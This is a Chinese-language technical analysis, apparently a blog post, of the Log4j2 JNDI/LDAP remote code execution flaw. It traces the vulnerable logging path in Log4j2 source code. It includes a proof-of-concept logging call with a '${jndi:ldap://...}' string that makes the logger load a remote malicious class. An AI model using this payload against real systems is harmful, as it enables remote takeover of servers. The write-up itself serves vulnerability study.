0x00 原理
Log4j2
是 Java 开发框架日常使用的日志库,涉及范围广,容易触发
poc 如下
public static void main(String[] args) throws Exception {
logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}
后文会提供一个利用环境提供一个利用环境
本次漏洞的 RCE
原理就是经典的 jndi+ldap
注入(jndi 只是其中的一种),利用${xxx}
触发 JndiLookup.lookup
,从而加载远程恶意 payload
达到 RCE
效果,只是这次的触发条件太普遍了,毕竟谁都要打 log 不是
跟随 logger.log
, 你会一直进入到 LoggerConfig.processLogEvent
, 其中关键的地方就是对 event
做了一个 adapter
适配
private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
event.setIncludeLocation(isIncludeLocation());
if (predicate.allow(this)) {
callAppenders(event);
}
logParent(event, predicate);
}
在 adapter
中会进行 encode
,serialize
和 format
, 每个 formatter
都会构造 log 的一部分, 其中的 MessagePatternConverter
存在问题
@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
final int len = formatters.length;
for (int i = 0; i < len; i++) {
formatters[i].format(event, buffer);
}
if (replace != null) {
String str = buffer.toString();
str = replace.format(str);
buffer.setLength(0);
buffer.append(str);
}
return buffer;
}